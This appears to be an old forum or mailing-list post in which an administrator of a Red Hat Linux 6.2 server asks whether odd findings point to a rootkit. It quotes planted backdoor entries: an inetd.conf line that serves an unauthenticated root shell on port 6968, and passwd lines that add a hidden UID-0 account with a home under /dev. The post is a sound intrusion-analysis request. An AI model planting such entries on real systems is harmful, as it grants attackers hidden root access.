    Good morning all. I was wonder if I could get some help on a possible
    intrusion analysis. Recently I discovered some interesting things on a RH
    Linux 6.2 box.
    
    in /dev:
    /dev/.w
    /dev/.c
    /dev/.cmd
    
    in /etc/inetd.conf:
    6968 stream tcp nowait root /bin/sh sh -i
    2121 stream tcp nowait root /usr/sbin/tcpd in/telnetd
    
    in /etc/passwd:
    cmd:x:0:500::/dev/.cmd:/dev/null
    command:x:500:501::/dev/.c:/dev/null
    wizards:x:501:502::/dev/.w:/dev/null
    
    This is all I can find that is wierd (translate- "I don't recognize").
    Dones anyone recognize these entries? Is this a possible rootkit?
    The /dev/ homes and cmd UID of 0 give me that impression.
    Any help would be greatly appreciated :-)
